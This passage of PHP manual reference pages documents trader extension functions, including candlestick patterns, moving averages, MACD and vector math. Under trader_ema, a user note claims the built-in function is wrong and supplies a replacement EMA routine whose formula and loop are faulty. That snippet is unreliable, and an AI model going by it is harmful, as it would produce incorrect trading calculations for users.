  • Trader Functions
  • Morning Star

trader_cdlmorningstar

(PECL trader >= 0.2.0)

trader_cdlmorningstar — Morning Star

Description

array trader_cdlmorningstar ( array $open , array $high , array $low , array $close [, float $penetration ] )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

penetration

Percentage of penetration of a candle within another candle.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


On-Neck Pattern

  • « trader_cdlmorningstar
  • trader_cdlpiercing »
  • PHP Manual
  • Trader Functions
  • On-Neck Pattern

trader_cdlonneck

(PECL trader >= 0.2.0)

trader_cdlonneck — On-Neck Pattern

Description

array trader_cdlonneck ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Piercing Pattern

  • « trader_cdlonneck
  • trader_cdlrickshawman »
  • PHP Manual
  • Trader Functions
  • Piercing Pattern

trader_cdlpiercing

(PECL trader >= 0.2.0)

trader_cdlpiercing — Piercing Pattern

Description

array trader_cdlpiercing ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Rickshaw Man

  • « trader_cdlpiercing
  • trader_cdlrisefall3methods »
  • PHP Manual
  • Trader Functions
  • Rickshaw Man

trader_cdlrickshawman

(PECL trader >= 0.2.0)

trader_cdlrickshawman — Rickshaw Man

Description

array trader_cdlrickshawman ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Rising/Falling Three Methods

  • « trader_cdlrickshawman
  • trader_cdlseparatinglines »
  • PHP Manual
  • Trader Functions
  • Rising/Falling Three Methods

trader_cdlrisefall3methods

(PECL trader >= 0.2.0)

trader_cdlrisefall3methods — Rising/Falling Three Methods

Description

array trader_cdlrisefall3methods ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Separating Lines

  • « trader_cdlrisefall3methods
  • trader_cdlshootingstar »
  • PHP Manual
  • Trader Functions
  • Separating Lines

trader_cdlseparatinglines

(PECL trader >= 0.2.0)

trader_cdlseparatinglines — Separating Lines

Description

array trader_cdlseparatinglines ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Shooting Star

  • « trader_cdlseparatinglines
  • trader_cdlshortline »
  • PHP Manual
  • Trader Functions
  • Shooting Star

trader_cdlshootingstar

(PECL trader >= 0.2.0)

trader_cdlshootingstar — Shooting Star

Description

array trader_cdlshootingstar ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Short Line Candle

  • « trader_cdlshootingstar
  • trader_cdlspinningtop »
  • PHP Manual
  • Trader Functions
  • Short Line Candle

trader_cdlshortline

(PECL trader >= 0.2.0)

trader_cdlshortline — Short Line Candle

Description

array trader_cdlshortline ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Spinning Top

  • « trader_cdlshortline
  • trader_cdlstalledpattern »
  • PHP Manual
  • Trader Functions
  • Spinning Top

trader_cdlspinningtop

(PECL trader >= 0.2.0)

trader_cdlspinningtop — Spinning Top

Description

array trader_cdlspinningtop ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Stalled Pattern

  • « trader_cdlspinningtop
  • trader_cdlsticksandwich »
  • PHP Manual
  • Trader Functions
  • Stalled Pattern

trader_cdlstalledpattern

(PECL trader >= 0.2.0)

trader_cdlstalledpattern — Stalled Pattern

Description

array trader_cdlstalledpattern ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Stick Sandwich

  • « trader_cdlstalledpattern
  • trader_cdltakuri »
  • PHP Manual
  • Trader Functions
  • Stick Sandwich

trader_cdlsticksandwich

(PECL trader >= 0.2.0)

trader_cdlsticksandwich — Stick Sandwich

Description

array trader_cdlsticksandwich ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Takuri (Dragonfly Doji with very long lower shadow)

  • « trader_cdlsticksandwich
  • trader_cdltasukigap »
  • PHP Manual
  • Trader Functions
  • Takuri (Dragonfly Doji with very long lower shadow)

trader_cdltakuri

(PECL trader >= 0.2.0)

trader_cdltakuri — Takuri (Dragonfly Doji with very long lower shadow)

Description

array trader_cdltakuri ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Tasuki Gap

  • « trader_cdltakuri
  • trader_cdlthrusting »
  • PHP Manual
  • Trader Functions
  • Tasuki Gap

trader_cdltasukigap

(PECL trader >= 0.2.0)

trader_cdltasukigap — Tasuki Gap

Description

array trader_cdltasukigap ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Thrusting Pattern

  • « trader_cdltasukigap
  • trader_cdltristar »
  • PHP Manual
  • Trader Functions
  • Thrusting Pattern

trader_cdlthrusting

(PECL trader >= 0.2.0)

trader_cdlthrusting — Thrusting Pattern

Description

array trader_cdlthrusting ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Tristar Pattern

  • « trader_cdlthrusting
  • trader_cdlunique3river »
  • PHP Manual
  • Trader Functions
  • Tristar Pattern

trader_cdltristar

(PECL trader >= 0.2.0)

trader_cdltristar — Tristar Pattern

Description

array trader_cdltristar ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Unique 3 River

  • « trader_cdltristar
  • trader_cdlupsidegap2crows »
  • PHP Manual
  • Trader Functions
  • Unique 3 River

trader_cdlunique3river

(PECL trader >= 0.2.0)

trader_cdlunique3river — Unique 3 River

Description

array trader_cdlunique3river ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Upside Gap Two Crows

  • « trader_cdlunique3river
  • trader_cdlxsidegap3methods »
  • PHP Manual
  • Trader Functions
  • Upside Gap Two Crows

trader_cdlupsidegap2crows

(PECL trader >= 0.2.0)

trader_cdlupsidegap2crows — Upside Gap Two Crows

Description

array trader_cdlupsidegap2crows ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Upside/Downside Gap Three Methods

  • « trader_cdlupsidegap2crows
  • trader_ceil »
  • PHP Manual
  • Trader Functions
  • Upside/Downside Gap Three Methods

trader_cdlxsidegap3methods

(PECL trader >= 0.2.0)

trader_cdlxsidegap3methods — Upside/Downside Gap Three Methods

Description

array trader_cdlxsidegap3methods ( array $open , array $high , array $low , array $close )

Parameters

open

Opening price, array of real values.

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Ceil

  • « trader_cdlxsidegap3methods
  • trader_cmo »
  • PHP Manual
  • Trader Functions
  • Vector Ceil

trader_ceil

(PECL trader >= 0.2.0)

trader_ceil — Vector Ceil

Description

array trader_ceil ( array $real )

Calculates the next higest integer for each value in real and returns the resulting array.

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Chande Momentum Oscillator

  • « trader_ceil
  • trader_correl »
  • PHP Manual
  • Trader Functions
  • Chande Momentum Oscillator

trader_cmo

(PECL trader >= 0.2.0)

trader_cmo — Chande Momentum Oscillator

Description

array trader_cmo ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Pearson's Correlation Coefficient (r)

  • « trader_cmo
  • trader_cos »
  • PHP Manual
  • Trader Functions
  • Pearson's Correlation Coefficient (r)

trader_correl

(PECL trader >= 0.2.0)

trader_correl — Pearson's Correlation Coefficient (r)

Description

array trader_correl ( array $real0 , array $real1 [, integer $timePeriod ] )

Parameters

real0

Array of real values.

real1

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric Cos

  • « trader_correl
  • trader_cosh »
  • PHP Manual
  • Trader Functions
  • Vector Trigonometric Cos

trader_cos

(PECL trader >= 0.2.0)

trader_cos — Vector Trigonometric Cos

Description

array trader_cos ( array $real )

Calculates the cosine for each value in real and returns the resulting array.

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric Cosh

  • « trader_cos
  • trader_dema »
  • PHP Manual
  • Trader Functions
  • Vector Trigonometric Cosh

trader_cosh

(PECL trader >= 0.2.0)

trader_cosh — Vector Trigonometric Cosh

Description

array trader_cosh ( array $real )

Calculates the hyperbolic cosine for each value in real and returns the resulting array.

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Double Exponential Moving Average

  • « trader_cosh
  • trader_div »
  • PHP Manual
  • Trader Functions
  • Double Exponential Moving Average

trader_dema

(PECL trader >= 0.2.0)

trader_dema — Double Exponential Moving Average

Description

array trader_dema ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Arithmetic Div

  • « trader_dema
  • trader_dx »
  • PHP Manual
  • Trader Functions
  • Vector Arithmetic Div

trader_div

(PECL trader >= 0.2.0)

trader_div — Vector Arithmetic Div

Description

array trader_div ( array $real0 , array $real1 )

Divides each value from real0 by the corresponding value from real1 and returns the resulting array.

Parameters

real0

Array of real values.

real1

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Directional Movement Index

  • « trader_div
  • trader_ema »
  • PHP Manual
  • Trader Functions
  • Directional Movement Index

trader_dx

(PECL trader >= 0.2.0)

trader_dx — Directional Movement Index

Description

array trader_dx ( array $high , array $low , array $close [, integer $timePeriod ] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Exponential Moving Average

  • « trader_dx
  • trader_errno »
  • PHP Manual
  • Trader Functions
  • Exponential Moving Average

trader_ema

(PECL trader >= 0.2.0)

trader_ema — Exponential Moving Average

Description

array trader_ema ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

manoj dot monu23 at gmail dot com 03-Feb-2014 09:07
the trader_ema() function does'nt work correctly , it calculate just average of last period entries. Follow the following code for trader_ema:
 function EMACalculator($limit,$array)
{
    $EMA_previous_day = $array[0];
    //print_r($array);
    $multiplier1 = (2/$limit+1);
    $EMA[]=array();
    $EMA = $array[0];
    $Close= $array[1];

    while($limit)
{
    //echo"EMA is $EMA\n";
    $EMA = ($Close - $EMA_previous_day) * $multiplier1 + $EMA_previous_day;
    $EMA_previous_day= $EMA;

    $limit--;
}
return $EMA;
}
where $limit accept the period of ema  and $array : accept array of data for ema calculation.


Get error code

  • « trader_ema
  • trader_exp »
  • PHP Manual
  • Trader Functions
  • Get error code

trader_errno

(PECL trader >= 0.3.0)

trader_errno — Get error code

Description

integer trader_errno ( void )

Get error code of the last operation.

Return Values

Returns the error code identified by one of the TRADER_ERR_* constants.

User Contributed Notes

There are no user contributed notes for this page.


Vector Arithmetic Exp

  • « trader_errno
  • trader_floor »
  • PHP Manual
  • Trader Functions
  • Vector Arithmetic Exp

trader_exp

(PECL trader >= 0.2.0)

trader_exp — Vector Arithmetic Exp

Description

array trader_exp ( array $real )

Calculates e raised to the power of each value in real. Returns an array with the calculated data.

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Floor

  • « trader_exp
  • trader_get_compat »
  • PHP Manual
  • Trader Functions
  • Vector Floor

trader_floor

(PECL trader >= 0.2.0)

trader_floor — Vector Floor

Description

array trader_floor ( array $real )

Calculates the next lowest integer for each value in real and returns the resulting array.

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Get compatibility mode

  • « trader_floor
  • trader_get_unstable_period »
  • PHP Manual
  • Trader Functions
  • Get compatibility mode

trader_get_compat

(PECL trader >= 0.2.2)

trader_get_compat — Get compatibility mode

Description

integer trader_get_compat ( void )

Get compatibility mode which affects the way calculations are done by all the extension functions.

Return Values

Returns the compatibility mode id which can be identified by TRADER_COMPATIBILITY_* series of constants.

User Contributed Notes

There are no user contributed notes for this page.


Get unstable period

  • « trader_get_compat
  • trader_ht_dcperiod »
  • PHP Manual
  • Trader Functions
  • Get unstable period

trader_get_unstable_period

(PECL trader >= 0.2.2)

trader_get_unstable_period — Get unstable period

Description

integer trader_get_unstable_period ( integer $functionId )

Get unstable period factor for a particular function.

Parameters

functionId

Function ID the factor to be read for. TRADER_FUNC_UNST_* series of constants should be used.

Return Values

Returns the unstable period factor for the corresponding function.

User Contributed Notes

There are no user contributed notes for this page.


Hilbert Transform - Dominant Cycle Period

  • « trader_get_unstable_period
  • trader_ht_dcphase »
  • PHP Manual
  • Trader Functions
  • Hilbert Transform - Dominant Cycle Period

trader_ht_dcperiod

(PECL trader >= 0.2.0)

trader_ht_dcperiod — Hilbert Transform - Dominant Cycle Period

Description

array trader_ht_dcperiod ( array $real )

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hilbert Transform - Dominant Cycle Phase

  • « trader_ht_dcperiod
  • trader_ht_phasor »
  • PHP Manual
  • Trader Functions
  • Hilbert Transform - Dominant Cycle Phase

trader_ht_dcphase

(PECL trader >= 0.2.0)

trader_ht_dcphase — Hilbert Transform - Dominant Cycle Phase

Description

array trader_ht_dcphase ( array $real )

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hilbert Transform - Phasor Components

  • « trader_ht_dcphase
  • trader_ht_sine »
  • PHP Manual
  • Trader Functions
  • Hilbert Transform - Phasor Components

trader_ht_phasor

(PECL trader >= 0.2.0)

trader_ht_phasor — Hilbert Transform - Phasor Components

Description

array trader_ht_phasor ( array $real )

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hilbert Transform - SineWave

  • « trader_ht_phasor
  • trader_ht_trendline »
  • PHP Manual
  • Trader Functions
  • Hilbert Transform - SineWave

trader_ht_sine

(PECL trader >= 0.2.0)

trader_ht_sine — Hilbert Transform - SineWave

Description

array trader_ht_sine ( array $real )

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hilbert Transform - Instantaneous Trendline

  • « trader_ht_sine
  • trader_ht_trendmode »
  • PHP Manual
  • Trader Functions
  • Hilbert Transform - Instantaneous Trendline

trader_ht_trendline

(PECL trader >= 0.2.0)

trader_ht_trendline — Hilbert Transform - Instantaneous Trendline

Description

array trader_ht_trendline ( array $real )

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hilbert Transform - Trend vs Cycle Mode

  • « trader_ht_trendline
  • trader_kama »
  • PHP Manual
  • Trader Functions
  • Hilbert Transform - Trend vs Cycle Mode

trader_ht_trendmode

(PECL trader >= 0.2.0)

trader_ht_trendmode — Hilbert Transform - Trend vs Cycle Mode

Description

array trader_ht_trendmode ( array $real )

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Kaufman Adaptive Moving Average

  • « trader_ht_trendmode
  • trader_linearreg_angle »
  • PHP Manual
  • Trader Functions
  • Kaufman Adaptive Moving Average

trader_kama

(PECL trader >= 0.2.0)

trader_kama — Kaufman Adaptive Moving Average

Description

array trader_kama ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Linear Regression Angle

  • « trader_kama
  • trader_linearreg_intercept »
  • PHP Manual
  • Trader Functions
  • Linear Regression Angle

trader_linearreg_angle

(PECL trader >= 0.2.0)

trader_linearreg_angle — Linear Regression Angle

Description

array trader_linearreg_angle ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Linear Regression Intercept

  • « trader_linearreg_angle
  • trader_linearreg_slope »
  • PHP Manual
  • Trader Functions
  • Linear Regression Intercept

trader_linearreg_intercept

(PECL trader >= 0.2.0)

trader_linearreg_intercept — Linear Regression Intercept

Description

array trader_linearreg_intercept ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Linear Regression Slope

  • « trader_linearreg_intercept
  • trader_linearreg »
  • PHP Manual
  • Trader Functions
  • Linear Regression Slope

trader_linearreg_slope

(PECL trader >= 0.2.0)

trader_linearreg_slope — Linear Regression Slope

Description

array trader_linearreg_slope ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Linear Regression

  • « trader_linearreg_slope
  • trader_ln »
  • PHP Manual
  • Trader Functions
  • Linear Regression

trader_linearreg

(PECL trader >= 0.2.0)

trader_linearreg — Linear Regression

Description

array trader_linearreg ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Log Natural

  • « trader_linearreg
  • trader_log10 »
  • PHP Manual
  • Trader Functions
  • Vector Log Natural

trader_ln

(PECL trader >= 0.2.0)

trader_ln — Vector Log Natural

Description

array trader_ln ( array $real )

Calculates the natural logarithm for each value in real and returns the resulting array.

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Log10

  • « trader_ln
  • trader_ma »
  • PHP Manual
  • Trader Functions
  • Vector Log10

trader_log10

(PECL trader >= 0.2.0)

trader_log10 — Vector Log10

Description

array trader_log10 ( array $real )

Calculates the base-10 logarithm for each value in real and returns the resulting array.

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Moving average

  • « trader_log10
  • trader_macd »
  • PHP Manual
  • Trader Functions
  • Moving average

trader_ma

(PECL trader >= 0.2.0)

trader_ma — Moving average

Description

array trader_ma ( array $real [, integer $timePeriod [, integer $mAType ]] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

mAType

Type of Moving Average. TRADER_MA_TYPE_* series of constants should be used.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Moving Average Convergence/Divergence

  • « trader_ma
  • trader_macdext »
  • PHP Manual
  • Trader Functions
  • Moving Average Convergence/Divergence

trader_macd

(PECL trader >= 0.2.0)

trader_macd — Moving Average Convergence/Divergence

Description

array trader_macd ( array $real [, integer $fastPeriod [, integer $slowPeriod [, integer $signalPeriod ]]] )

Parameters

real

Array of real values.

fastPeriod

Number of period for the fast MA. Valid range from 2 to 100000.

slowPeriod

Number of period for the slow MA. Valid range from 2 to 100000.

signalPeriod

Smoothing for the signal line (nb of period). Valid range from 1 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

koenig at globaltown dot de 25-Jan-2014 08:25
Return value of this function is an array of arrays :

index [0]: MACD values
index [1]: Signal values
index [2]: Divergence values


MACD with controllable MA type

  • « trader_macd
  • trader_macdfix »
  • PHP Manual
  • Trader Functions
  • MACD with controllable MA type

trader_macdext

(PECL trader >= 0.2.0)

trader_macdext — MACD with controllable MA type

Description

array trader_macdext ( array $real [, integer $fastPeriod [, integer $fastMAType [, integer $slowPeriod [, integer $slowMAType [, integer $signalPeriod [, integer $signalMAType ]]]]]] )

Parameters

real

Array of real values.

fastPeriod

Number of period for the fast MA. Valid range from 2 to 100000.

fastMAType

Type of Moving Average for fast MA. TRADER_MA_TYPE_* series of constants should be used.

slowPeriod

Number of period for the slow MA. Valid range from 2 to 100000.

slowMAType

Type of Moving Average for slow MA. TRADER_MA_TYPE_* series of constants should be used.

signalPeriod

Smoothing for the signal line (nb of period). Valid range from 1 to 100000.

signalMAType

Type of Moving Average for signal line. TRADER_MA_TYPE_* series of constants should be used.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Moving Average Convergence/Divergence Fix 12/26

  • « trader_macdext
  • trader_mama »
  • PHP Manual
  • Trader Functions
  • Moving Average Convergence/Divergence Fix 12/26

trader_macdfix

(PECL trader >= 0.2.0)

trader_macdfix — Moving Average Convergence/Divergence Fix 12/26

Description

array trader_macdfix ( array $real [, integer $signalPeriod ] )

Parameters

real

Array of real values.

signalPeriod

Smoothing for the signal line (nb of period). Valid range from 1 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


MESA Adaptive Moving Average

  • « trader_macdfix
  • trader_mavp »
  • PHP Manual
  • Trader Functions
  • MESA Adaptive Moving Average

trader_mama

(PECL trader >= 0.2.0)

trader_mama — MESA Adaptive Moving Average

Description

array trader_mama ( array $real [, float $fastLimit [, float $slowLimit ]] )

Parameters

real

Array of real values.

fastLimit

Upper limit use in the adaptive algorithm. Valid range from 0.01 to 0.99.

slowLimit

Lower limit use in the adaptive algorithm. Valid range from 0.01 to 0.99.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Moving average with variable period

  • « trader_mama
  • trader_max »
  • PHP Manual
  • Trader Functions
  • Moving average with variable period

trader_mavp

(PECL trader >= 0.2.0)

trader_mavp — Moving average with variable period

Description

array trader_mavp ( array $real , array $periods [, integer $minPeriod [, integer $maxPeriod [, integer $mAType ]]] )

Parameters

real

Array of real values.

periods

Array of real values.

minPeriod

Value less than minimum will be changed to Minimum period. Valid range from 2 to 100000

maxPeriod

Value higher than minimum will be changed to Maximum period. Valid range from 2 to 100000

mAType

Type of Moving Average. TRADER_MA_TYPE_* series of constants should be used.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Highest value over a specified period

  • « trader_mavp
  • trader_maxindex »
  • PHP Manual
  • Trader Functions
  • Highest value over a specified period

trader_max

(PECL trader >= 0.2.0)

trader_max — Highest value over a specified period

Description

array trader_max ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Index of highest value over a specified period

  • « trader_max
  • trader_medprice »
  • PHP Manual
  • Trader Functions
  • Index of highest value over a specified period

trader_maxindex

(PECL trader >= 0.2.0)

trader_maxindex — Index of highest value over a specified period

Description

array trader_maxindex ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Median Price

  • « trader_maxindex
  • trader_mfi »
  • PHP Manual
  • Trader Functions
  • Median Price

trader_medprice

(PECL trader >= 0.2.0)

trader_medprice — Median Price

Description

array trader_medprice ( array $high , array $low )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Money Flow Index

  • « trader_medprice
  • trader_midpoint »
  • PHP Manual
  • Trader Functions
  • Money Flow Index

trader_mfi

(PECL trader >= 0.2.0)

trader_mfi — Money Flow Index

Description

array trader_mfi ( array $high , array $low , array $close , array $volume [, integer $timePeriod ] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

volume

Volume traded, array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


MidPoint over period

  • « trader_mfi
  • trader_midprice »
  • PHP Manual
  • Trader Functions
  • MidPoint over period

trader_midpoint

(PECL trader >= 0.2.0)

trader_midpoint — MidPoint over period

Description

array trader_midpoint ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Midpoint Price over period

  • « trader_midpoint
  • trader_min »
  • PHP Manual
  • Trader Functions
  • Midpoint Price over period

trader_midprice

(PECL trader >= 0.2.0)

trader_midprice — Midpoint Price over period

Description

array trader_midprice ( array $high , array $low [, integer $timePeriod ] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Lowest value over a specified period

  • « trader_midprice
  • trader_minindex »
  • PHP Manual
  • Trader Functions
  • Lowest value over a specified period

trader_min

(PECL trader >= 0.2.0)

trader_min — Lowest value over a specified period

Description

array trader_min ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Index of lowest value over a specified period

  • « trader_min
  • trader_minmax »
  • PHP Manual
  • Trader Functions
  • Index of lowest value over a specified period

trader_minindex

(PECL trader >= 0.2.0)

trader_minindex — Index of lowest value over a specified period

Description

array trader_minindex ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Lowest and highest values over a specified period

  • « trader_minindex
  • trader_minmaxindex »
  • PHP Manual
  • Trader Functions
  • Lowest and highest values over a specified period

trader_minmax

(PECL trader >= 0.2.0)

trader_minmax — Lowest and highest values over a specified period

Description

array trader_minmax ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Indexes of lowest and highest values over a specified period

  • « trader_minmax
  • trader_minus_di »
  • PHP Manual
  • Trader Functions
  • Indexes of lowest and highest values over a specified period

trader_minmaxindex

(PECL trader >= 0.2.0)

trader_minmaxindex — Indexes of lowest and highest values over a specified period

Description

array trader_minmaxindex ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Minus Directional Indicator

  • « trader_minmaxindex
  • trader_minus_dm »
  • PHP Manual
  • Trader Functions
  • Minus Directional Indicator

trader_minus_di

(PECL trader >= 0.2.0)

trader_minus_di — Minus Directional Indicator

Description

array trader_minus_di ( array $high , array $low , array $close [, integer $timePeriod ] )

